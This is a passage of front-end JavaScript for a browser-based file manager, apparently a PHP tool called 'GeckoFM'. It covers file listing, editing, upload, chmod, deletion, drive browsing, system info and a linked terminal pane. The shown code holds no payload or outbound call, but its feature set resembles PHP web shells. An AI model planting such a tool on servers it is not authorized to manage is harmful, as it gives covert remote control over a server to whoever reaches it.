  if(!S.entries.length){
    panel.innerHTML=`<div class="empty"><div class="empty-ico"><svg viewBox="0 0 24 24"><path d="M3 5a2 2 0 0 1 2-2h4.17a2 2 0 0 1 1.41.59L12 5h7a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z" fill="currentColor"/></svg></div><h3>Empty folder</h3><p>Drop files here or create something new</p><button class="btn btn-primary" onclick="showCreate('file')">New File</button></div>`;
    updateBulkBar();
    return;
  }
  const sorted = sortEntries(S.entries);
  if(S.view==='grid'){
    panel.innerHTML='<div class="grid-wrap">'+sorted.map((e,i)=>{
      const p=itemPath(e.name);
      const ext = !e.is_dir ? getExt(e.name) : '';
      const selCls = S.selected.has(p) ? ' sel' : '';
      return `<div class="gcard${selCls}" style="--i:${i}" data-icon="${e.icon}" data-path="${esc(p)}" data-dir="${e.is_dir}" data-name="${esc(e.name)}" data-ed="${e.editable}" data-perm="${e.perm||''}" data-idx="${i}">
        ${ico(e.icon)}<div class="gname">${esc(e.name)}</div><div class="gsize">${e.is_dir?'Folder':fmtBytes(e.size)}${ext?` <span class="gext">${ext}</span>`:''}</div></div>`;
    }).join('')+'</div>';
    bindGridEvents();
    updateBulkBar();
    return;
  }

  const allSelected = sorted.length>0 && sorted.every(e => S.selected.has(itemPath(e.name)));
  const headChk = `<div class="chk-cell"><div class="chk-box${allSelected?' on':''}" id="chkAll" title="Select all"></div></div>`;
  const head = `<div class="tbl-head">
${headChk}
${thSort('name','Name')}
${thSort('size','Size')}
${thSort('perm','Perm')}
${thSort('modified','Modified')}
<span style="text-align:right;padding-right:4px">Actions</span>
</div>`;

  panel.innerHTML = head + `<ul class="flist">`+sorted.map((e,i)=>{
    const p=itemPath(e.name);
    const ext = !e.is_dir ? getExt(e.name) : '';
    const chip = ext ? `<span class="fname-chip">${ext}</span>` : '';
    const selCls = S.selected.has(p) ? ' sel' : '';
    const chkCls = S.selected.has(p) ? ' on' : '';
    const dateAbs = fmtDate(e.modified);
    const dateRel = fmtRelTime(e.modified);
    return `<li class="frow${selCls}" style="--i:${i}" data-icon="${e.icon}" data-path="${esc(p)}" data-dir="${e.is_dir}" data-name="${esc(e.name)}" data-ed="${e.editable}" data-perm="${e.perm||''}" data-idx="${i}">
<div class="chk-cell"><div class="chk-box${chkCls}" data-path="${esc(p)}"></div></div>
<div class="fname-cell"><div class="ico-wrap">${IC[e.icon]||IC.file}</div><div class="fname-text"><span class="fname">${esc(e.name)}</span>${chip}</div></div>
<span class="fmeta">${e.is_dir?'—':fmtBytes(e.size)}</span>
<span class="fmeta"><span class="perm ${permClass(e.perm)}" data-a="chmod" title="${e.perm||'—'}${permSymbolic(e.perm)?' · '+permSymbolic(e.perm):''}${permLabel(e.perm)?' · '+permLabel(e.perm):''}">${e.perm||'—'}</span></span>
<span class="fmeta" title="${dateAbs}">${dateRel}</span>
<div class="row-acts">
  <button class="ico-btn" data-a="open" title="Open"><svg viewBox="0 0 16 16"><path d="M8 1.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Zm9-1a1 1 0 1 1-2 0 1 1 0 0 1 2 0ZM6.5 12a1.5 1.5 0 1 1 3 0 1.5 1.5 0 0 1-3 0Z" fill="currentColor"/></svg></button>
  <button class="ico-btn" data-a="rename" title="Rename"><svg viewBox="0 0 16 16"><path d="M11.013 1.427a1.75 1.75 0 0 1 2.474 0l1.086 1.086a1.75 1.75 0 0 1 0 2.474l-8.61 8.61c-.2.201-.44.354-.706.454L3.3 14.814a.75.75 0 0 1-.963-.927l.772-2.521a1.75 1.75 0 0 1 .413-.664l8.61-8.61Z" fill="currentColor"/></svg></button>
  <button class="ico-btn" data-a="dl" title="Download"><svg viewBox="0 0 16 16"><path d="M2.75 14A1.75 1.75 0 0 1 1 12.25v-2.5a.75.75 0 0 1 1.5 0v2.5c0 .138.112.25.25.25h10.5a.25.25 0 0 0 .25-.25v-2.5a.75.75 0 0 1 1.5 0v2.5A1.75 1.75 0 0 1 14.25 14H2.75Z" fill="currentColor"/><path d="M7.25 7.567V1.75a.75.75 0 0 1 1.5 0v5.817l1.78-1.347a.75.75 0 1 1 1.042 1.078l-3.5 3.5a.75.75 0 0 1-1.06 0l-3.5-3.5a.75.75 0 0 1 1.06-1.06l2.678 2.33Z" fill="currentColor"/></svg></button>
  <button class="ico-btn del" data-a="delete" title="Delete"><svg viewBox="0 0 16 16"><path d="M6.5 1.75a.25.25 0 0 1 .25-.25h2.5a.25.25 0 0 1 .25.25V3h-3V1.75Zm4.5 0V3h2.25a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75ZM4.496 6.675l.66 6.6a.25.25 0 0 0 .249.225h5.19a.25.25 0 0 0 .249-.225l.66-6.6a.75.75 0 0 1 1.492.149l-.66 6.6A1.748 1.748 0 0 1 10.595 15h-5.19a1.75 1.75 0 0 1-1.741-1.575l-.66-6.6a.75.75 0 1 1 1.492-.15Z" fill="currentColor"/></svg></button>
</div></li>`;
  }).join('')+'</ul>';
  bindListEvents();
  bindHeaderEvents(sorted);
  updateBulkBar();
}

function bindHeaderEvents(sorted){
  $('#panel').querySelectorAll('.th-sort').forEach(s=>{
    s.onclick = ()=> setSort(s.dataset.sort);
  });
  const chkAll = $('#chkAll');
  if(chkAll){
    chkAll.onclick = e => {
      e.stopPropagation();
      const all = !chkAll.classList.contains('on');
      sorted.forEach(en => {
        const p = itemPath(en.name);
        if(all) S.selected.add(p); else S.selected.delete(p);
      });
      $('#panel').querySelectorAll('.frow').forEach(r=>{
        const on = S.selected.has(r.dataset.path);
        r.classList.toggle('sel', on);
        r.querySelector('.chk-box').classList.toggle('on', on);
      });
      chkAll.classList.toggle('on', all);
      updateBulkBar();
    };
  }
}

function setRowSelected(row, on){
  row.classList.toggle('sel', on);
  const box = row.querySelector('.chk-box');
  if(box) box.classList.toggle('on', on);
  if(on) S.selected.add(row.dataset.path);
  else   S.selected.delete(row.dataset.path);
}
function selectRange(fromIdx, toIdx, on){
  const rows = [...$('#panel').querySelectorAll('.frow')];
  const a = Math.min(fromIdx,toIdx), b = Math.max(fromIdx,toIdx);
  for(let i=a; i<=b; i++) if(rows[i]) setRowSelected(rows[i], on);
}

function bindListEvents(){
  $('#panel').querySelectorAll('.frow').forEach(row=>{
    row.querySelector('.fname-cell').onclick=ev=>{
      if(ev.metaKey || ev.ctrlKey || ev.shiftKey) return;
      openItem(row.dataset.path,row.dataset.dir==='true',row.dataset.ed==='true');
    };
    const box=row.querySelector('.chk-box');
    box.onclick=e=>{
      e.stopPropagation();
      const idx = +row.dataset.idx;
      const on = !box.classList.contains('on');
      if(e.shiftKey && S.lastClickIdx >= 0){
        selectRange(S.lastClickIdx, idx, on);
      } else {
        setRowSelected(row, on);
      }
      S.lastClickIdx = idx;
      const chkAll = $('#chkAll');
      if(chkAll){
        const rows = [...$('#panel').querySelectorAll('.frow')];
        chkAll.classList.toggle('on', rows.every(r=>r.classList.contains('sel')));
      }
      updateBulkBar();
    };
    row.oncontextmenu=e=>{e.preventDefault();showCtx(e,row.dataset.path,row.dataset.dir==='true',row.dataset.name,row.dataset.ed==='true',row.dataset.perm)};
    row.querySelectorAll('[data-a]').forEach(b=>b.onclick=e=>{e.stopPropagation();rowAct(b.dataset.a,row.dataset.path,row.dataset.dir==='true',row.dataset.name,row.dataset.ed==='true',row.dataset.perm)});
  });
}
function bindGridEvents(){
  $('#panel').querySelectorAll('.gcard').forEach(c=>{
    c.onclick=ev=>{
      if(ev.metaKey || ev.ctrlKey){
        ev.preventDefault();
        const on = !c.classList.contains('sel');
        c.classList.toggle('sel', on);
        if(on) S.selected.add(c.dataset.path);
        else   S.selected.delete(c.dataset.path);
        updateBulkBar();
        return;
      }
      openItem(c.dataset.path,c.dataset.dir==='true',c.dataset.ed==='true');
    };
    c.oncontextmenu=e=>{e.preventDefault();showCtx(e,c.dataset.path,c.dataset.dir==='true',c.dataset.name,c.dataset.ed==='true',c.dataset.perm)};
  });
}

function updateBulkBar(){
  const bar = $('#bulkBar');
  const n = S.selected.size;
  if(bar){
    if(n === 0) bar.classList.remove('show');
    else { bar.classList.add('show'); const cn = $('#bulkCount'); if(cn) cn.textContent = n; }
  }
  const sbDel = $('#sbDelSel');
  if(sbDel){
    if(n === 0) sbDel.setAttribute('aria-disabled','true');
    else sbDel.removeAttribute('aria-disabled');
  }
}
async function bulkDownload(){
  if(!S.selected.size) return;
  for(const p of S.selected){
    const a = document.createElement('a');
    a.href = '?download=' + encodeURIComponent(p);
    a.download = '';
    document.body.appendChild(a); a.click(); a.remove();
    await new Promise(r=>setTimeout(r,300));
  }
}
function clearSelection(){
  S.selected.clear();
  $('#panel').querySelectorAll('.frow.sel, .gcard.sel').forEach(r=>{
    r.classList.remove('sel');
    const b = r.querySelector('.chk-box'); if(b) b.classList.remove('on');
  });
  const ca = $('#chkAll'); if(ca) ca.classList.remove('on');
  updateBulkBar();
}

const IMG_EXT = ['png','jpg','jpeg','gif','webp','svg','ico','bmp','avif'];
function isImageFile(name){
  const ext = (name.split('.').pop() || '').toLowerCase();
  return IMG_EXT.includes(ext);
}

function openItem(path,isDir,editable){
  if(isDir){navigate(path);return}
  const name = path.split(/[\/\\]/).pop();
  if(isImageFile(name)) return openImagePreview(path);
  if(editable) return openEditor(path);
  // Untuk file binary lain → langsung download
  window.location='?download='+encodeURIComponent(path);
}
function rowAct(act,path,isDir,name,editable,perm){
  if(act==='open')return openItem(path,isDir,editable);
  if(act==='rename')return showRename(path,name);
  if(act==='dl'&&!isDir)return window.location='?download='+encodeURIComponent(path);
  if(act==='delete')return showDelete(path,name,isDir);
  if(act==='chmod')return showChmod(path,perm);
}

// ─── Image Preview ───────────────────────────────────────────────
let ipCurrentPath = null;
let ipTextLoaded = false;

async function openImagePreview(path){
  ipCurrentPath = path;
  ipTextLoaded = false;
  const name = path.split(/[\/\\]/).pop();
  $('#ipTitle').textContent = name;
  $('#ipPath').textContent = path;
  $('#ipMeta').textContent = '';
  $('#ipImgInfo').textContent = '';
  $('#ipImg').src = '';
  $('#ipTextContent').textContent = 'Click "Text" tab to load raw bytes…';
  setIpTab('image');
  openM('#mImagePreview');

  const url = '?view=' + encodeURIComponent(path);
  $('#ipImg').src = url;
  $('#ipDownload').href = '?download=' + encodeURIComponent(path);

  $('#ipImg').onload = () => {
    const img = $('#ipImg');
    $('#ipImgInfo').textContent = img.naturalWidth + ' × ' + img.naturalHeight + ' px';
  };
  $('#ipImg').onerror = () => {
    $('#ipImgInfo').textContent = 'Failed to load image';
  };

  // Fetch metadata via API for size/modified
  try {
    const meta = await api('list', { path: path.replace(/[\/\\][^\/\\]*$/, '') || '' });
    if (meta.ok) {
      const entry = (meta.entries || []).find(e => e.name === name);
      if (entry) $('#ipMeta').textContent = fmtBytes(entry.size) + ' · ' + fmtDate(entry.modified);
    }
  } catch(e){}
}

function setIpTab(tab){
  $$('#mImagePreview .ip-tab').forEach(b => b.classList.toggle('active', b.dataset.tab === tab));
  $('#ipImagePane').classList.toggle('hidden', tab !== 'image');
  $('#ipTextPane').classList.toggle('hidden', tab !== 'text');
  if (tab === 'text' && !ipTextLoaded && ipCurrentPath) {
    loadFileAsText(ipCurrentPath);
  }
}

async function loadFileAsText(path){
  ipTextLoaded = true;
  const pre = $('#ipTextContent');
  pre.textContent = 'Loading…';
  try {
    const res = await fetch('?view=' + encodeURIComponent(path));
    if (!res.ok) throw new Error('HTTP ' + res.status);
    const blob = await res.blob();
    if (blob.size > 2 * 1024 * 1024) {
      pre.textContent = 'File too large for text view (' + fmtBytes(blob.size) + ')\n\nUse Download to inspect.';
      return;
    }
    const txt = await blob.text();
    pre.textContent = txt;
  } catch(e){
    pre.textContent = 'Error loading file: ' + e.message;
  }
}

// Wire image preview tabs
document.addEventListener('click', e => {
  const tabBtn = e.target.closest('#mImagePreview .ip-tab');
  if (tabBtn) setIpTab(tabBtn.dataset.tab);
});

// ─── Navigate ────────────────────────────────────────────────────
async function navigate(path){
    let apiPath = path;
    
    if (path && typeof path === 'string') {
        // Handle Windows path
        if (path.match(/^[A-Za-z]:/)) {
            apiPath = path.replace(/\\/g, '/');
            apiPath = apiPath.replace(/\/+/g, '/');
            apiPath = apiPath.replace(/^([A-Za-z]:)\/*/, '$1/');
            if (apiPath !== '/' && apiPath.endsWith('/')) {
                // Keep trailing slash for directories
            }
        }
        // Handle Linux path
        else if (path.startsWith('/')) {
            apiPath = path.replace(/\/+/g, '/');
        }
    }
    
    console.log('Navigating to:', apiPath);
    S.path = apiPath;
    S.selected.clear();
    S.lastClickIdx = -1;
    if (typeof updateBulkBar === 'function') updateBulkBar();
    
    // Update URL
    let encodedPath = encodeURIComponent(apiPath);
    history.replaceState(null, '', '?path=' + encodedPath);
    
    renderBreadcrumb();
    if (typeof syncTermCwd === 'function') syncTermCwd();
    const panel = $('#panel');
    panel.style.opacity = '0';
    
    try{
        const d = await api('list', {path: apiPath});
        if(!d.ok) throw new Error(d.error);
        S.entries = d.entries;
        requestAnimationFrame(()=>{
            renderList();
            updateStatus(d);
            requestAnimationFrame(()=>panel.style.opacity='1');
        });
    }catch(e){ 
        toast(e.message, 'error');
        // Pulihkan UI — tampilkan pesan error dengan tombol retry
        // agar file manager tidak stuck di "Loading workspace..."
        panel.innerHTML = `<div class="empty">
          <div class="empty-ico" style="color:var(--red)">
            <svg viewBox="0 0 24 24" fill="currentColor"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"/></svg>
          </div>
          <h3>Failed to load files</h3>
          <p style="color:var(--tx3);max-width:400px;word-break:break-word">${esc(e.message)}</p>
          <button class="btn btn-primary" onclick="navigate(S.path)" style="margin-top:12px">↻ Retry</button>
        </div>`;
        panel.style.opacity = '1';
    }
}

function updateStatus(d){
  const dirs=S.entries.filter(e=>e.is_dir).length, files=S.entries.length-dirs;
  $('#stItems').innerHTML=`<strong>${S.entries.length}</strong> items · <strong>${dirs}</strong> folders · <strong>${files}</strong> files`;
  if(d.disk){
    const u=d.disk.total-d.disk.free, pct=Math.round(u/d.disk.total*100);
    $('#stDisk').innerHTML=`<strong>${fmtBytes(u)}</strong> / ${fmtBytes(d.disk.total)}`;
    $('#diskFill').style.width=pct+'%';
    $('#diskUsed').textContent=fmtBytes(u)+' used';
    $('#diskPct').textContent=pct+'%';
    if(pct>85)$('#diskFill').style.background='var(--red)';
  }
  $('#stPath').textContent='/'+(S.path||'');
  $('#termCwd').textContent=S.path||'~';
  $('#termPathTag').textContent=S.path||'root';
}

// Clock
setInterval(()=>$('#stClock').textContent=new Date().toLocaleTimeString('en-US',{hour:'2-digit',minute:'2-digit',second:'2-digit'}),1000);
$('#stClock').textContent=new Date().toLocaleTimeString('en-US',{hour:'2-digit',minute:'2-digit',second:'2-digit'});

async function loadInfo(){
  try {
    const d=await api('info',{});
    if(d.ok){
      const pct=Math.round((d.disk_total-d.disk_free)/d.disk_total*100);
      $('#sysInfo').innerHTML=`<strong>Environment</strong><br>PHP ${esc(d.php)}<br>OS: ${esc(d.os)}<br>Root: ${esc(BASE.split(/[/\\\\]/).pop())}`;
      $('#diskFill').style.width=pct+'%';
      $('#diskUsed').textContent=fmtBytes(d.disk_total-d.disk_free)+' used';
      $('#diskPct').textContent=pct+'%';
    }
  } catch(e) {
    console.warn('[GeckoFM] loadInfo failed:', e.message);
  }
}

// ─── Load Drives (Windows) ───────────────────────────────────────
async function loadDrives() {
    const select = $('#driveSelect');
    const box = $('#driveBox');
    if (!select || !box) return;
    box.style.display = 'block';
    select.onchange = (e) => { if (e.target.value) navigate(e.target.value); };
    try {
        const d = await api('drives', {});
        if (d.ok && d.drives && d.drives.length) {
            select.innerHTML = '<option value="">— Select Path —</option>' +
                d.drives.map(drive => `<option value="${esc(drive.path)}">${esc(drive.label)}${drive.total ? ' (' + fmtBytes(drive.total) + ')' : ''}</option>`).join('');
        } else {
            select.innerHTML = '<option value="">— No paths available —</option>';
        }
    } catch(e) {
        select.innerHTML = '<option value="">— Unable to load paths —</option>';
    }
}

// ─── Create ──────────────────────────────────────────────────────
function showCreate(mode){
  S.createMode=mode;
  $('#createTitle').textContent=mode==='file'?'New File':'New Folder';
  $('#createContentWrap').classList.toggle('hidden',mode!=='file');
  $('#createName').value=''; $('#createContent').value='';
  openM('#mCreate');
  setTimeout(()=>$('#createName').focus(),120);
}
$('#createOk').onclick=async()=>{
  const name=$('#createName').value.trim(); if(!name)return toast('Enter a name','error');
  const act=S.createMode==='file'?'create_file':'mkdir';
  const pl={path:S.path,name};
  if(S.createMode==='file')pl.content=$('#createContent').value;
  const d=await api(act,pl);
  if(!d.ok)return toast(d.error,'error');
  closeAll(); toast('Created','ok');
  navigate(S.path);
  if(S.createMode==='file')openEditor(joinPath(S.path,name));
};

// ─── Rename ──────────────────────────────────────────────────────
function showRename(path,name){
  S.renameTarget=path; $('#renameInput').value=name;
  openM('#mRename');
  setTimeout(()=>{$('#renameInput').focus();$('#renameInput').select()},120);
}
$('#renameOk').onclick=async()=>{
  const n=$('#renameInput').value.trim(); if(!n||!S.renameTarget)return;
  const d=await api('rename',{path:S.renameTarget,new_name:n});
  if(!d.ok)return toast(d.error,'error');
  closeAll(); toast('Renamed','ok'); navigate(S.path);
};

// ─── Chmod ───────────────────────────────────────────────────────
function showChmod(path, currentPerm) {
  S.chmodTarget = path;
  $('#chmodInput').value = currentPerm || '0644';
  openM('#mChmod');
  setTimeout(() => { $('#chmodInput').focus(); $('#chmodInput').select() }, 120);
}
$('#chmodOk').onclick = async () => {
  const perm = $('#chmodInput').value.trim();
  if (!perm || !S.chmodTarget) return;
  const d = await api('chmod', { path: S.chmodTarget, perm: perm });
  if (!d.ok) return toast(d.error, 'error');
  closeAll(); toast('Permissions updated', 'ok');
  navigate(S.path);
};

// ─── Delete ──────────────────────────────────────────────────────
function showDelete(path,name,isDir){
  S.deleteTarget=path;
  $('#deleteMsg').innerHTML=`Delete <strong>${esc(name)}</strong>${isDir?' (must be empty)':''}? This cannot be undone.`;
  openM('#mDelete');
}
$('#deleteOk').onclick=async()=>{
  if(!S.deleteTarget)return;
  const d=await api('delete',{path:S.deleteTarget});
  if(!d.ok)return toast(d.error,'error');
  closeAll(); toast('Deleted','ok'); navigate(S.path);
};
async function deleteSelected(){
  if(!S.selected.size)return toast('Nothing selected','error');
  if(!confirm('Delete '+S.selected.size+' item(s)?'))return;
  for(const p of S.selected){const d=await api('delete',{path:p});if(!d.ok){toast(d.error+' — '+p,'error');break}}
  toast('Done','ok'); navigate(S.path);
}

// ─── Editor ──────────────────────────────────────────────────────
const LANG_MAP = {
  php:'php', phtml:'php',
  js:'js', mjs:'js', cjs:'js', ts:'js', tsx:'js', jsx:'js',
  json:'json',
  css:'css', scss:'css', sass:'css', less:'css',
  html:'html', htm:'html', xml:'html', svg:'html', vue:'html',
  md:'md', markdown:'md',
  yml:'yaml', yaml:'yaml',
  sh:'sh', bash:'sh', zsh:'sh',
  sql:'sql',
  py:'py',
};
function detectLang(path){
  const ext = (path.split('.').pop() || '').toLowerCase();
  return LANG_MAP[ext] || 'plain';
}

const HTML_ESC = { '&':'&amp;', '<':'&lt;', '>':'&gt;' };
const escHtml = s => String(s).replace(/[&<>]/g, c => HTML_ESC[c]);

// ─── Tokenizer (regex multi-pattern) ─────────────────────────────
const KEYWORDS_JS = 'function|if|else|return|for|while|do|switch|case|break|continue|class|new|var|let|const|null|true|false|undefined|this|import|export|default|async|await|try|catch|finally|throw|in|of|as|from|extends|typeof|instanceof|delete|void|yield|static|get|set';
const KEYWORDS_PHP = KEYWORDS_JS + '|elseif|endif|endwhile|endfor|endforeach|endswitch|foreach|public|private|protected|namespace|use|self|parent|abstract|trait|interface|implements|fn|match|enum|readonly|require|require_once|include|include_once|echo|print|global|isset|unset|empty|array|list';
const KEYWORDS_PY = 'def|class|if|elif|else|for|while|return|import|from|as|try|except|finally|raise|with|pass|break|continue|lambda|yield|global|nonlocal|None|True|False|and|or|not|is|in';
const KEYWORDS_SH = 'if|then|else|elif|fi|for|while|do|done|case|esac|in|function|return|break|continue|exit|export|local|readonly|source|alias';
const KEYWORDS_SQL = 'SELECT|FROM|WHERE|INSERT|INTO|VALUES|UPDATE|SET|DELETE|CREATE|TABLE|DROP|ALTER|JOIN|LEFT|RIGHT|INNER|OUTER|ON|GROUP|BY|ORDER|HAVING|LIMIT|OFFSET|AS|AND|OR|NOT|NULL|IS|IN|LIKE|BETWEEN|DISTINCT|UNION|INDEX|PRIMARY|KEY|FOREIGN|REFERENCES|DEFAULT|UNIQUE|AUTO_INCREMENT|VARCHAR|INT|TEXT|DATE|DATETIME|TIMESTAMP|BOOLEAN|TRUE|FALSE';

function tokenize(code, lang){
  if (lang === 'plain' || !code) return escHtml(code);

  let patterns;
  if (lang === 'php' || lang === 'js') {
    const kw = lang === 'php' ? KEYWORDS_PHP : KEYWORDS_JS;
    patterns = [
      [/\/\*[\s\S]*?\*\//, 'tk-com'],
      [/\/\/[^\n]*/, 'tk-com'],
      [/#[^\n]*/, 'tk-com'],
      [/"(?:\\.|[^"\\\n])*"/, 'tk-str'],
      [/'(?:\\.|[^'\\\n])*'/, 'tk-str'],
      [/`(?:\\.|[^`\\])*`/, 'tk-str'],
      [/\$[A-Za-z_]\w*/, 'tk-var'],
      [new RegExp('\\b(?:' + kw + ')\\b'), 'tk-key'],
      [/\b(?:true|false|null|undefined|TRUE|FALSE|NULL)\b/, 'tk-bool'],
      [/\b\d+(?:\.\d+)?(?:[eE][+-]?\d+)?\b/, 'tk-num'],
      [/\b[A-Z][A-Za-z0-9_]*\b/, 'tk-cls'],
      [/\b[a-zA-Z_]\w*(?=\s*\()/, 'tk-fn'],
      [/[+\-*/%=<>!&|^~?:]+/, 'tk-op'],
    ];
  } else if (lang === 'css') {
    patterns = [
      [/\/\*[\s\S]*?\*\//, 'tk-com'],
      [/"(?:\\.|[^"\\\n])*"/, 'tk-str'],
      [/'(?:\\.|[^'\\\n])*'/, 'tk-str'],
      [/--[\w-]+/, 'tk-var'],
      [/#[0-9a-fA-F]{3,8}\b/, 'tk-num'],
      [/\b\d+(?:\.\d+)?(?:px|em|rem|%|vh|vw|s|ms|deg|fr|ch|ex|pt)?\b/, 'tk-num'],
      [/@[\w-]+/, 'tk-key'],
      [/\b[a-z-]+(?=\s*:)/i, 'tk-att'],
      [/[.#][\w-]+/, 'tk-cls'],
      [/[{}();,]/, 'tk-pun'],
    ];
  } else if (lang === 'html') {
    patterns = [
      [new RegExp('<!--[\\s\\S]*?-->'), 'tk-com'],
      [new RegExp('<!DOCTYPE[^>]*>', 'i'), 'tk-com'],
      [new RegExp('</?[\\w:-]+'), 'tk-tag'],
      [/[\w:-]+(?=\s*=)/, 'tk-att'],
      [/"(?:[^"\\]|\\.)*"/, 'tk-str'],
      [/'(?:[^'\\]|\\.)*'/, 'tk-str'],
      [new RegExp('/?>'), 'tk-tag'],
    ];
  } else if (lang === 'json') {
    patterns = [
      [/"(?:\\.|[^"\\])*"(?=\s*:)/, 'tk-att'],
      [/"(?:\\.|[^"\\])*"/, 'tk-str'],
      [/\b(?:true|false|null)\b/, 'tk-bool'],
      [/-?\b\d+(?:\.\d+)?(?:[eE][+-]?\d+)?\b/, 'tk-num'],
      [/[{}\[\]:,]/, 'tk-pun'],
    ];
  } else if (lang === 'md') {
    patterns = [
      [/^#{1,6}[^\n]*/, 'tk-md-h'],
      [/```[\s\S]*?```/, 'tk-md-cd'],
      [/`[^`\n]+`/, 'tk-md-cd'],
      [/\*\*[^*\n]+\*\*/, 'tk-md-em'],
      [/_[^_\n]+_/, 'tk-md-em'],
      [/^[\s]*[-*+]\s+/, 'tk-md-li'],
      [/^>[^\n]*/, 'tk-com'],
      [/\[[^\]]*\]\([^)]*\)/, 'tk-str'],
    ];
  } else if (lang === 'yaml') {
    patterns = [
      [/#[^\n]*/, 'tk-com'],
      [/"(?:\\.|[^"\\\n])*"/, 'tk-str'],
      [/'(?:\\.|[^'\\\n])*'/, 'tk-str'],
      [/^[\s-]*[\w.-]+(?=\s*:)/m, 'tk-att'],
      [/\b(?:true|false|null|yes|no)\b/, 'tk-bool'],
      [/\b\d+(?:\.\d+)?\b/, 'tk-num'],
    ];
  } else if (lang === 'sh') {
    patterns = [
      [/#[^\n]*/, 'tk-com'],
      [/"(?:\\.|[^"\\])*"/, 'tk-str'],
      [/'[^']*'/, 'tk-str'],
      [/\$\{[^}]+\}|\$\w+/, 'tk-var'],
      [new RegExp('\\b(?:' + KEYWORDS_SH + ')\\b'), 'tk-key'],
      [/\b\d+\b/, 'tk-num'],
    ];
  } else if (lang === 'sql') {
    patterns = [
      [/--[^\n]*/, 'tk-com'],
      [/\/\*[\s\S]*?\*\//, 'tk-com'],
      [/'(?:[^'\\]|\\.)*'/, 'tk-str'],
      [/"(?:[^"\\]|\\.)*"/, 'tk-str'],
      [new RegExp('\\b(?:' + KEYWORDS_SQL + ')\\b', 'i'), 'tk-key'],
      [/\b\d+(?:\.\d+)?\b/, 'tk-num'],
    ];
  } else if (lang === 'py') {
    patterns = [
      [/#[^\n]*/, 'tk-com'],
      [/"""[\s\S]*?"""|'''[\s\S]*?'''/, 'tk-str'],
      [/"(?:\\.|[^"\\\n])*"/, 'tk-str'],
      [/'(?:\\.|[^'\\\n])*'/, 'tk-str'],
      [new RegExp('\\b(?:' + KEYWORDS_PY + ')\\b'), 'tk-key'],
      [/\b\d+(?:\.\d+)?\b/, 'tk-num'],
      [/\b[a-zA-Z_]\w*(?=\s*\()/, 'tk-fn'],
    ];
  } else {
    return escHtml(code);
  }

  // Build mega regex with capture group per pattern
  const megaSrc = patterns.map(p => '(' + p[0].source + ')').join('|');
  const flags = 'gm';
  const regex = new RegExp(megaSrc, flags);

  let out = '';
  let last = 0;
  let m;
  while ((m = regex.exec(code)) !== null) {
    if (m.index > last) out += escHtml(code.slice(last, m.index));
    let cls = null;
    for (let i = 0; i < patterns.length; i++) {
      if (m[i + 1] !== undefined) { cls = patterns[i][1]; break; }
    }
    out += cls ? '<span class="' + cls + '">' + escHtml(m[0]) + '</span>' : escHtml(m[0]);
    last = m.index + m[0].length;
    // Prevent infinite loop on zero-length matches
    if (m[0].length === 0) regex.lastIndex++;
  }
  if (last < code.length) out += escHtml(code.slice(last));
  return out;
}

let edLang = 'plain';

async function openEditor(path){
  S.editorPath=path;
  edLang = detectLang(path);
  $('#edArea').classList.toggle('no-highlight', edLang === 'plain');
  $('#edTitle').textContent=path.split(/[\/\\]/).pop();
  $('#edPath').textContent=path;
  $('#edText').value=''; $('#edHighlight').innerHTML=''; updateLineNums(); openM('#mEditor');
  const d=await api('read',{path});
  if(!d.ok){closeM('#mEditor');return toast(d.error,'error')}
  $('#edText').value=d.content;
  $('#edMeta').textContent=fmtBytes(d.size)+' · '+fmtDate(d.modified)+' · '+edLang.toUpperCase();
  refreshHighlight();
  updateLineNums();
  setTimeout(()=>$('#edText').focus(),120);
}

function refreshHighlight(){
  if (edLang === 'plain') return;
  const code = $('#edText').value;
  // Trailing newline ensures last line is rendered properly
  const html = tokenize(code + (code.endsWith('\n') ? ' ' : ''), edLang);
  $('#edHighlight').innerHTML = html;
}

function updateLineNums(){
  const ta=$('#edText'),lines=(ta.value.match(/\n/g)||[]).length+1;
  const ln=$('#lineNums'); let h='';
  for(let i=1;i<=lines;i++)h+=`<div>${i}</div>`;
  ln.innerHTML=h; ln.scrollTop=ta.scrollTop;
}

// Debounced highlight refresh on input — keeps typing smooth
let edHlTimer;
function scheduleHighlight(){
  if (edLang === 'plain') return;
  clearTimeout(edHlTimer);
  edHlTimer = setTimeout(refreshHighlight, 30);
}

$('#edText').addEventListener('input', () => { updateLineNums(); scheduleHighlight(); });
$('#edText').addEventListener('scroll', () => {
  $('#lineNums').scrollTop = $('#edText').scrollTop;
  $('#edHighlight').scrollTop = $('#edText').scrollTop;
  $('#edHighlight').scrollLeft = $('#edText').scrollLeft;
});
$('#edSave').onclick=saveEditor;
async function saveEditor(){
  if(!S.editorPath)return;
  const d=await api('save',{path:S.editorPath,content:$('#edText').value});
  if(!d.ok)return toast(d.error,'error');
  toast('Saved','ok'); $('#edMeta').textContent=fmtBytes($('#edText').value.length)+' · just now';
  navigate(S.path);
}

// ─── Upload Files ──────────────────────────────────────────────────
async function uploadFiles(files) {
    if (!files || files.length === 0) {
        toast('No files selected', 'error');
        return;
    }
    let successCount = 0;
    let failCount = 0;
    for (const file of files) {
        try {
            const formData = new FormData();
            formData.append('action', 'upload');
            formData.append('path', S.path);
            formData.append('file', file);
            
            const response = await fetch(API, {
                method: 'POST',
                body: formData
            });
            // Validasi response sebelum parse JSON
            const ct = (response.headers.get('content-type') || '').toLowerCase();
            if (!ct.includes('application/json')) {
                let body = '';
                try { body = await response.text(); } catch(e) {}
                console.warn('[GeckoFM] Upload non-JSON response:', {status: response.status, contentType: ct, bodyPreview: body.substring(0, 500)});
                throw new Error('Server returned non-JSON (HTTP ' + response.status + ')');
            }
            const data = await response.json();
            if (data.ok) {
                successCount++;
                toast(`✓ ${file.name} uploaded`, 'ok');
            } else {
                failCount++;
                toast(`✗ ${file.name}: ${data.error || 'Upload failed'}`, 'error');
            }
        } catch (err) {
            failCount++;
            toast(`✗ ${file.name}: ${err.message || 'Network error'}`, 'error');
            console.error('Upload error:', err);
        }
    }
    if (successCount > 0) {
        closeAll();
        navigate(S.path);
    }
    if (failCount > 0 && successCount === 0) {
        toast(`Upload failed: ${failCount} file(s)`, 'error');
